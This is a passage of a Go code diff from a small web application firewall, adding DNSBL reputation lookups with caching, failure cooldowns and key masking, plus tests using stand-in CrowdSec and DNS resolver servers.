+	lists := reputation.New(crowdSecParams())
+
+	// Tried, and never fetched: there is no copy to read.
+	err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
+	if err != nil {
+		t.Errorf("load the list never fetched: %v", err)
+	}
+
+	err = lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
+			`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
+				`"value": "198.51.100.0/33"}]`,
+		},
+	}})
+
+	const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
+		"address or a netblock and a duration, such as 4h0m0s"
+	if err == nil || err.Error() != want {
+		t.Errorf("error %v, want %s", err, want)
+	}
+}
+
+// engine is a stand-in for the local API of a CrowdSec engine. It answers
+// a fetch of the decision list that carries its key in X-Api-Key with its
+// decisions still in force, each with the time it has left as it answers,
+// by the bubble's clock, as an engine does, or with answer while that is
+// not "". It answers 403 to a fetch without its key, as an engine does,
+// with a redirect to redirect while that is not "", and 503 while failing.
+// It counts the fetches, and notes in keySentTo the URL of each fetch of
+// another URL that carries a key, as one following a redirect would.
+type engine struct {
+	mu        sync.Mutex
+	key       string
+	decisions []decision
+	answer    string
+	redirect  string
+	failing   bool
+	fetches   int
+	keySentTo []string
+}
+
+// decision is a decision of the engine, which ends at expires.
+type decision struct {
+	scope, value, kind, scenario string
+	expires                      time.Time
+}
+
+// RoundTrip has the engine answer req, in place of the network.
+func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	e.fetches++
+
+	if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
+		e.keySentTo = append(e.keySentTo, req.URL.String())
+	}
+
+	status, header, body := http.StatusOK, http.Header{}, e.answer
+
+	switch {
+	case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
+		status, body = http.StatusForbidden, `{"message":"access forbidden"}`
+	case e.redirect != "":
+		status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
+	case e.failing:
+		status, body = http.StatusServiceUnavailable, ""
+	case body == "":
+		body = e.inForce(time.Now())
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     header,
+		Body:       io.NopCloser(strings.NewReader(body)),
+		Request:    req,
+	}, nil
+}
+
+// inForce returns the decisions in force at now, as the engine answers
+// them: a JSON list, null for none.
+func (e *engine) inForce(now time.Time) string {
+	var answer []map[string]string
+
+	for _, d := range e.decisions {
+		if now.Before(d.expires) {
+			answer = append(answer, map[string]string{
+				"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
+				"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
+			})
+		}
+	}
+
+	body, err := json.Marshal(answer)
+	if err != nil {
+		panic(err) // a list of maps of strings always encodes
+	}
+
+	return string(body)
+}
+
+// set changes the engine with change.
+func (e *engine) set(change func(e *engine)) {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+
+	change(e)
+}
+
+// crowdSecParams returns the Params of the decision list of the tests'
+// engine, fetched with its key, by the bubble's clock, with alerts to a
+// queue that sends none.
+func crowdSecParams() reputation.Params {
+	p := params()
+	p.CrowdSecDecisionsURL = decisionsURL
+	p.CrowdSecKey = engineKey
+
+	return p
+}
+
+// wantEngineFetches waits until Run has made the fetches due, and checks
+// how many the engine has had.
+func wantEngineFetches(t *testing.T, e *engine, want int) {
+	t.Helper()
+
+	synctest.Wait()
+
+	e.mu.Lock()
+	got := e.fetches
+	e.mu.Unlock()
+
+	if got != want {
+		t.Errorf("%d fetches, want %d", got, want)
+	}
+}
+
+// wantDecision checks the decision lists says is in force on addr now,
+// the zero Decision for none.
+func wantDecision(
+	t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
+) {
+	t.Helper()
+
+	got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
+	if listed != !want.Expires.IsZero() ||
+		listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
+		t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
+	}
+}

internal/reputation/dnsbl.go

@@ -0,0 +1,332 @@
+package reputation
+
+import (
+	"cmp"
+	"context"
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"log/slog"
+	"net"
+	"net/netip"
+	"slices"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+const (
+	// maxVerdicts is how many verdicts of the DNSBL zones are kept, and how
+	// many scores of AbuseIPDB. Past it, the one fetched longest ago is
+	// dropped.
+	maxVerdicts = 100000
+	// maxQueries is how many queries may be under way at once. Past it, a
+	// zone is not asked about a client until the client's next request, so
+	// that a swarm of new addresses cannot fill the memory.
+	maxQueries = 1000
+	// failureDelay is how long a zone is not asked again after a query to
+	// it fails, and no client is checked with AbuseIPDB after a check
+	// fails, so that a source refusing them is not asked on every request.
+	failureDelay = time.Minute
+)
+
+var (
+	errAsk        = errors.New("ask the zone")
+	errRefused    = errors.New("the zone refused the query")
+	errNotListing = errors.New("the answer is outside 127.0.0.0/8")
+)
+
+// Verdict is what a zone said about a client, as reputation.json holds
+// it: the zone, the client's address, whether the zone lists it, and when
+// the zone answered.
+type Verdict struct {
+	Zone    string     `json:"zone"`
+	Client  netip.Addr `json:"client"`
+	Listed  bool       `json:"listed"`
+	Fetched time.Time  `json:"fetched"`
+}
+
+// DNSBLParams are what NewDNSBL needs.
+type DNSBLParams struct {
+	// Zones are the DNSBL zones clients are asked about in
+	// (SWWAF_DNSBL_ZONES).
+	Zones []string
+	// Resolver is the resolver they are asked through
+	// (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
+	// host's, as /etc/resolv.conf names it.
+	Resolver netip.AddrPort
+	// CacheTTL is how long a verdict is used after it was fetched
+	// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
+	// (SWWAF_REPUTATION_TIMEOUT).
+	CacheTTL time.Duration
+	Timeout  time.Duration
+	// Now tells the time, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives each query that fails, and why.
+	ProcessLog *slog.Logger
+	// Alerts receive a source_failure alert for each query that fails.
+	Alerts *alerts.Queue
+}
+
+// DNSBL asks the DNSBL zones about clients, in the background, and keeps
+// their verdicts. It is safe for concurrent use.
+type DNSBL struct {
+	params   DNSBLParams
+	resolver *net.Resolver
+
+	mu sync.Mutex
+	// verdicts are by query. Each is added as it is fetched and never moved
+	// up, so that the one fetched longest ago is the first dropped.
+	verdicts *simplelru.LRU[query, Verdict]
+	// asking are the queries under way.
+	asking map[query]bool
+	// queries and failures count, by zone, the queries made and those that
+	// failed, and retryAt is when a zone whose last query failed may be
+	// asked again.
+	queries  map[string]int
+	failures map[string]int
+	retryAt  map[string]time.Time
+}
+
+// query is a client's address, to ask a zone about.
+type query struct {
+	zone   string
+	client netip.Addr
+}
+
+// NewDNSBL returns a DNSBL with no verdict yet.
+func NewDNSBL(params DNSBLParams) *DNSBL {
+	verdicts, err := simplelru.NewLRU[query, Verdict](maxVerdicts, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	resolver := &net.Resolver{}
+	if params.Resolver.IsValid() {
+		// Dial is used by Go's own resolver alone.
+		resolver.PreferGo = true
+		resolver.Dial = func(ctx context.Context, network, _ string) (net.Conn, error) {
+			var dialer net.Dialer
+
+			return dialer.DialContext(ctx, network, params.Resolver.String())
+		}
+	}
+
+	return &DNSBL{
+		params:   params,
+		resolver: resolver,
+		verdicts: verdicts,
+		asking:   map[query]bool{},
+		queries:  map[string]int{},
+		failures: map[string]int{},
+		retryAt:  map[string]time.Time{},
+	}
+}
+
+// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them.
+func (d *DNSBL) Zones() []string {
+	return slices.Clone(d.params.Zones)
+}
+
+// ListedBy returns the zones whose verdict on addr, a client's address,
+// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
+// masked, as config.MaskZoneKey masks it, since they go to the request
+// log, the alerts and the metrics. A verdict is used until CacheTTL has
+// passed since it was fetched. Each zone without one is asked about addr
+// in the background, unless a query about addr to it is under way, the
+// zone is left alone after a failure, or maxQueries are under way;
+// ListedBy never waits for a query. ctx is the context of the client's
+// request, and a query goes on after the request ends.
+func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	now := d.params.Now()
+
+	var listedBy []string
+
+	for _, zone := range d.params.Zones {
+		q := query{zone: zone, client: addr}
+
+		kept, found := d.verdicts.Peek(q)
+
+		switch {
+		case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
+			if kept.Listed {
+				listedBy = append(listedBy, config.MaskZoneKey(zone))
+			}
+		case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
+			d.asking[q] = true
+			d.queries[zone]++
+
+			go d.ask(context.WithoutCancel(ctx), q)
+		}
+	}
+
+	return listedBy
+}
+
+// Queries returns how many queries were made to zone.
+func (d *DNSBL) Queries(zone string) int {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	return d.queries[zone]
+}
+
+// Failures returns how many queries to zone failed.
+func (d *DNSBL) Failures(zone string) int {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	return d.failures[zone]
+}
+
+// Snapshot returns every verdict still in use, sorted by client, then by
+// zone, as reputation.json lists them.
+func (d *DNSBL) Snapshot() []Verdict {
+	d.mu.Lock()
+
+	now := d.params.Now()
+	verdicts := make([]Verdict, 0, d.verdicts.Len())
+
+	for _, kept := range d.verdicts.Values() {
+		if now.Sub(kept.Fetched) < d.params.CacheTTL {
+			verdicts = append(verdicts, kept)
+		}
+	}
+
+	d.mu.Unlock()
+
+	slices.SortFunc(verdicts, func(a, b Verdict) int {
+		return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
+	})
+
+	return verdicts
+}
+
+// Load keeps verdicts, read from reputation.json, in place of those it
+// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and,
+// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
+// more is neither used nor written, as for any verdict.
+func (d *DNSBL) Load(verdicts []Verdict) {
+	verdicts = slices.Clone(verdicts)
+	slices.SortStableFunc(verdicts, func(a, b Verdict) int {
+		return a.Fetched.Compare(b.Fetched)
+	})
+
+	d.mu.Lock()
+	defer d.mu.Unlock()
+
+	d.verdicts.Purge()
+
+	for _, kept := range verdicts {
+		if slices.Contains(d.params.Zones, kept.Zone) {
+			d.verdicts.Add(query{zone: kept.Zone, client: kept.Client}, kept)
+		}
+	}
+}
+
+// ask asks q's zone about q's client, keeps the verdict, and notes the
+// query as no longer under way. A query that fails gives no verdict: it
+// is counted, logged and raised as a source_failure alert, which show the
+// zone with its key masked, and the zone is not asked again for
+// failureDelay.
+func (d *DNSBL) ask(ctx context.Context, q query) {
+	listed, err := d.lookUp(ctx, q)
+	now := d.params.Now()
+
+	d.mu.Lock()
+
+	delete(d.asking, q)
+
+	if err == nil {
+		d.verdicts.Add(q, Verdict{
+			Zone: q.zone, Client: q.client, Listed: listed, Fetched: now,
+		})
+	} else {
+		d.failures[q.zone]++
+		d.retryAt[q.zone] = now.Add(failureDelay)
+	}
+
+	d.mu.Unlock()
+
+	if err != nil {
+		const failed = "asking a DNSBL zone failed"
+
+		shown := config.MaskZoneKey(q.zone)
+
+		// Raised before it is logged, so that the alert is there once the
+		// log line is.
+		raiseFailure(d.params.Alerts, failed, shown, err)
+		d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error())
+	}
+}
+
+// lookUp asks q's zone about q's client through the resolver, and returns
+// whether the zone lists it, as readAnswer reads the answer. No such name
+// is a client the zone does not list. A query not answered within Timeout
+// fails.
+func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
+	ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
+	defer cancel()
+
+	answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
+
+	var dnsErr *net.DNSError
+
+	switch {
+	case err == nil:
+		return readAnswer(answer)
+	case errors.As(err, &dnsErr) && dnsErr.IsNotFound:
+		return false, nil
+	case errors.As(err, &dnsErr):
+		// The error names the name asked about, which holds the client's
+		// address, which is not to be logged: only what went wrong is kept.
+		return false, fmt.Errorf("%w: %s", errAsk, dnsErr.Err)
+	default:
+		return false, fmt.Errorf("%w: %w", errAsk, err)
+	}
+}
+
+// queryName returns the name a zone is asked about addr by, as RFC 5782
+// builds it: the four numbers of an IPv4 address, or the 32 hex digits of
+// an IPv6 address, in reverse order, each followed by a dot, then the zone
+// and a dot, which makes it a full name, to which the resolver adds no
+// search domain of /etc/resolv.conf.
+func queryName(zone string, addr netip.Addr) string {
+	parts := strings.Split(addr.String(), ".")
+	if addr.Is6() {
+		parts = strings.Split(hex.EncodeToString(addr.AsSlice()), "")
+	}
+
+	slices.Reverse(parts)
+
+	return strings.Join(parts, ".") + "." + zone + "."
+}
+
+// readAnswer reads the addresses a zone answered with. An address in
+// 127.0.0.0/8 lists the client, as RFC 5782 has zones answer, but one in
+// 127.255.255.0/24 is how Spamhaus refuses a query, such as one sent
+// through a public resolver or one past its limit, and is a failure. So is
+// an address outside 127.0.0.0/8, such as a resolver gives that answers
+// even for names that do not exist.
+func readAnswer(answer []netip.Addr) (bool, error) {
+	listing := netip.MustParsePrefix("127.0.0.0/8")
+	refusal := netip.MustParsePrefix("127.255.255.0/24")
+
+	for _, addr := range answer {
+		switch {
+		case refusal.Contains(addr):
+			return false, fmt.Errorf("%w: %s", errRefused, addr)
+		case !listing.Contains(addr):
+			return false, fmt.Errorf("%w: %s", errNotListing, addr)
+		}
+	}
+
+	return len(answer) > 0, nil
+}

internal/reputation/dnsbl_test.go

@@ -0,0 +1,737 @@
+package reputation_test
+
+import (
+	"bytes"
+	"context"
+	"encoding/binary"
+	"errors"
+	"io"
+	"log/slog"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests of the DNSBL zones run in synctest bubbles, as those of the
+// lists do, and the resolver the zones are asked through is a stand-in
+// reached through an in-memory connection, net.Pipe's, for the same
+// reason. They run one at a time, none in parallel with another test of
+// this package: Go's resolver counts the queries under way in one
+// sync.WaitGroup for the whole process, and the process fails when
+// queries from two bubbles, or from a bubble and from outside one, are
+// under way at once. TestMain has the resolver make its configuration,
+// which it makes on its first query, outside every bubble, since the
+// configuration holds a channel, which the bubble it was made in would
+// keep to itself.
+
+const (
+	// zone and otherZone are the DNSBL zones the tests name.
+	zone      = "dnsbl.example"
+	otherZone = "other.example"
+	// cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their
+	// SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
+	// can have Go's resolver wait for one server, so that it is the
+	// DNSBL's own timeout that ends a query, whatever that file says.
+	cacheTTL = 24 * time.Hour
+	timeout  = time.Second
+	// listed and unlisted are clients zone is asked about by the names
+	// listedName and unlistedName, and most tests have zone list the first
+	// alone, by answering with listing.
+	listed       = "192.0.2.99"
+	unlisted     = "192.0.2.100"
+	listedName   = "99.2.0.192." + zone + "."
+	unlistedName = "100.2.0.192." + zone + "."
+	listing      = "127.0.0.2"
+)
+
+// The DNS response codes the stand-in answers with, besides no error.
+const (
+	serverFailure = 2
+	noSuchName    = 3
+	refused       = 5
+)
+
+var errNoNetwork = errors.New("the test dials nothing")
+
+func TestMain(m *testing.M) {
+	// A query that fails at once, as nothing is dialled for it.
+	resolver := &net.Resolver{
+		PreferGo: true,
+		Dial: func(context.Context, string, string) (net.Conn, error) {
+			return nil, errNoNetwork
+		},
+	}
+	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
+
+	m.Run()
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		// The addresses of the examples of RFC 5782, and the names it
+		// gives for them.
+		const (
+			v4 = "192.0.2.99"
+			v6 = "2001:db8:1:2:3:4:567:89ab"
+			// v6Name is the hex digits of v6, in reverse order.
+			v6Name = "b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.8.b.d.0.1.0.0.2."
+		)
+
+		resolver := &resolverStandIn{answers: map[string]answer{
+			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
+			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
+			"99.2.0.192." + otherZone + ".": {},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
+
+		// Neither client has a verdict yet, so neither is listed, and each
+		// zone is asked about each.
+		wantZones(t, dnsbl, v4)
+		wantZones(t, dnsbl, v6)
+		synctest.Wait()
+
+		wantZones(t, dnsbl, v4, zone)
+		wantZones(t, dnsbl, v6, otherZone)
+		wantAsked(t, resolver,
+			"99.2.0.192."+zone+".", "99.2.0.192."+otherZone+".",
+			v6Name+zone+".", v6Name+otherZone+".")
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestListedByNeverWaitsForAQuery(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
+		began := time.Now()
+
+		// The second, while the first's query is under way, starts none.
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, listed)
+
+		if waited := time.Since(began); waited != 0 {
+			t.Errorf("waited %s for the query, want no wait", waited)
+		}
+
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 0)
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName: {addrs: []string{listing}},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone))
+
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+
+		// The zone lists the other client from now on, but the verdicts
+		// kept are used, and the zone is not asked again, until the TTL
+		// has passed.
+		resolver.set(listedName, answer{rcode: noSuchName})
+		resolver.set(unlistedName, answer{addrs: []string{listing}})
+		time.Sleep(cacheTTL - time.Nanosecond)
+
+		wantZones(t, dnsbl, listed, zone)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 2, 0)
+
+		// Then neither verdict is used, and both clients are asked about
+		// again.
+		time.Sleep(time.Nanosecond)
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+
+		wantQueries(t, dnsbl, 4, 0)
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted, zone)
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		queue := newQueue()
+		p := dnsblParams(zone)
+		p.Alerts = queue
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, p)
+
+		wantZones(t, dnsbl, listed)
+		time.Sleep(timeout - time.Nanosecond)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 0)
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1, 1)
+
+		if got := waiting(queue); len(got) != 1 ||
+			got[0].Detail["error"] != "ask the zone: i/o timeout" {
+			t.Errorf("alerts waiting %+v, want the timeout's", got)
+		}
+
+		if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
+			t.Errorf("verdicts %+v, want none", verdicts)
+		}
+
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
+	for _, tc := range []struct {
+		name   string
+		answer answer
+		error  string
+	}{
+		{
+			"a server failure", answer{rcode: serverFailure},
+			"ask the zone: server misbehaving",
+		},
+		{"a refusal", answer{rcode: refused}, "ask the zone: server misbehaving"},
+		{
+			"an answer in 127.255.255.0/24, with which Spamhaus refuses a query",
+			answer{addrs: []string{"127.255.255.254"}},
+			"the zone refused the query: 127.255.255.254",
+		},
+		{
+			"an answer outside 127.0.0.0/8, as for a name that does not exist",
+			answer{addrs: []string{"192.0.2.1"}},
+			"the answer is outside 127.0.0.0/8: 192.0.2.1",
+		},
+	} {
+		//nolint:paralleltest // one at a time, as the comment at the top of this file says
+		t.Run(tc.name, func(t *testing.T) {
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				queue := newQueue()
+				p := dnsblParams(zone)
+				p.Alerts = queue
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
+					listedName: tc.answer,
+				}}, p)
+
+				// The failure gives no verdict, and the zone is not asked
+				// again within a minute of it.
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				time.Sleep(time.Minute - time.Nanosecond)
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				wantQueries(t, dnsbl, 1, 1)
+
+				time.Sleep(time.Nanosecond)
+				wantZones(t, dnsbl, listed)
+				synctest.Wait()
+				wantQueries(t, dnsbl, 2, 2)
+
+				if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
+					t.Errorf("verdicts %+v, want none", verdicts)
+				}
+
+				// One alert for the first failure; the cooldown holds back
+				// the second.
+				wantAlert(t, queue, alerts.Alert{
+					Time:   time.Now().Add(-time.Minute),
+					Event:  alerts.EventSourceFailure,
+					Reason: "asking a DNSBL zone failed",
+					Detail: map[string]any{"source": zone, "error": tc.error},
+				})
+
+				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
+					`"zone":"`+zone+`","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+			})
+		})
+	}
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestAtMost1000QueriesUnderWay(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
+
+		client := netip.MustParseAddr("198.18.0.0")
+		for range 1001 {
+			dnsbl.ListedBy(t.Context(), client)
+			client = client.Next()
+		}
+
+		synctest.Wait()
+		wantQueries(t, dnsbl, 1000, 0)
+		waitForTheResolver()
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName:                      {addrs: []string{listing}},
+			"99.2.0.192." + otherZone + ".": {rcode: serverFailure},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), dnsbl)
+
+		wantZones(t, dnsbl, listed)
+		synctest.Wait()
+
+		scraped := httptest.NewRecorder()
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+			"/", http.NoBody))
+
+		for series, want := range map[string]string{
+			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
+			"failures_total" + `{instance="app",source="` + zone + `"}`:      "0",
+			"queries_total" + `{instance="app",source="` + otherZone + `"}`:  "1",
+			"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
+		} {
+			line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n"
+			if !strings.Contains(scraped.Body.String(), line) {
+				t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
+			}
+		}
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
+	const (
+		key    = "abcdefghijklmnopqrstuvwxyz"
+		keyed  = key + ".xbl.dq.spamhaus.net"
+		masked = "********.xbl.dq.spamhaus.net"
+	)
+
+	synctest.Test(t, func(t *testing.T) {
+		var log bytes.Buffer
+
+		queue := newQueue()
+		p := dnsblParams(keyed)
+		p.Alerts = queue
+		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+		dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
+			"99.2.0.192." + keyed + ".":  {addrs: []string{listing}},
+			"100.2.0.192." + keyed + ".": {rcode: serverFailure},
+		}}, p)
+		m := metrics.New(1, "app")
+		m.AddReputation(reputation.New(params()), dnsbl)
+
+		// Both clients are asked about before either answer comes, so that
+		// the failure does not keep the zone from the other query.
+		wantZones(t, dnsbl, listed)
+		wantZones(t, dnsbl, unlisted)
+		synctest.Wait()
+		wantZones(t, dnsbl, listed, masked)
+
+		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
+			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
+		}
+
+		scraped := httptest.NewRecorder()
+		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+			"/", http.NoBody))
+
+		for name, shown := range map[string]string{
+			"the log": log.String(), "the metrics": scraped.Body.String(),
+		} {
+			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
+				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
+			}
+		}
+	})
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestVerdictsKeptAcrossARestart(t *testing.T) {
+	synctest.Test(t, func(t *testing.T) {
+		resolver := &resolverStandIn{answers: map[string]answer{
+			listedName: {addrs: []string{listing}},
+		}}
+		dnsbl := newDNSBL(resolver, dnsblParams(zone))
+		fetched := time.Now()
+
+		wantZones(t, dnsbl, unlisted)
+		wantZones(t, dnsbl, listed)
+		synctest.Wait()
+
+		kept := dnsbl.Snapshot()
+
+		want := []reputation.Verdict{
+			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
+			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
+		}
+		if !reflect.DeepEqual(kept, want) {
+			t.Errorf("verdicts %+v, want %+v", kept, want)
+		}
+
+		// Restarted an hour later with what reputation.json keeps, it uses
+		// the verdicts, and asks the zone nothing, until the TTL has passed
+		// since they were fetched.
+		time.Sleep(time.Hour)
+
+		restarted := &resolverStandIn{}
+		again := newDNSBL(restarted, dnsblParams(zone))
+		again.Load(kept)
+
+		wantZones(t, again, listed, zone)
+		wantZones(t, again, unlisted)
+		synctest.Wait()
+		wantAsked(t, restarted)
+
+		time.Sleep(cacheTTL - time.Hour)
+		wantZones(t, again, listed)
+		synctest.Wait()
+		wantAsked(t, restarted, listedName)
+	})
+}
+
+func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := dnsblParams(zone)
+	p.Now = func() time.Time { return now }
+	dnsbl := reputation.NewDNSBL(p)
+
+	// The last verdict still in use, one fetched a TTL ago, and one of a
+	// zone SWWAF_DNSBL_ZONES does not name.
+	inUse := reputation.Verdict{
+		Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
+		Fetched: now.Add(-cacheTTL + time.Nanosecond),
+	}
+	stale := reputation.Verdict{
+		Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: now.Add(-cacheTTL),
+	}
+	notNamed := reputation.Verdict{
+		Zone: otherZone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: now,
+	}
+
+	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
+
+	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
+		t.Errorf("verdicts %+v, want only %+v", got, inUse)
+	}
+}
+
+func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+	t.Parallel()
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+	p := dnsblParams(zone)
+	p.Now = func() time.Time { return now }
+	dnsbl := reputation.NewDNSBL(p)
+
+	// 100,001 verdicts, listed by client, as reputation.json lists them,
+	// each fetched a millisecond before the one before it: the last is one
+	// too many.
+	const count = 100001
+
+	verdicts := make([]reputation.Verdict, 0, count)
+
+	client := netip.MustParseAddr("198.18.0.0")
+	for i := range count {
+		verdicts = append(verdicts, reputation.Verdict{
+			Zone: zone, Client: client, Fetched: now.Add(-time.Duration(i) * time.Millisecond),
+		})
+		client = client.Next()
+	}
+
+	dnsbl.Load(verdicts)
+
+	got := dnsbl.Snapshot()
+	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
+		slices.Contains(got, verdicts[count-1]) {
+		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
+	}
+}
+
+//nolint:paralleltest // one at a time, as the comment at the top of this file says
+func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) {
+	resolver := &resolverStandIn{answers: map[string]answer{
+		listedName: {addrs: []string{listing}},
+	}}
+
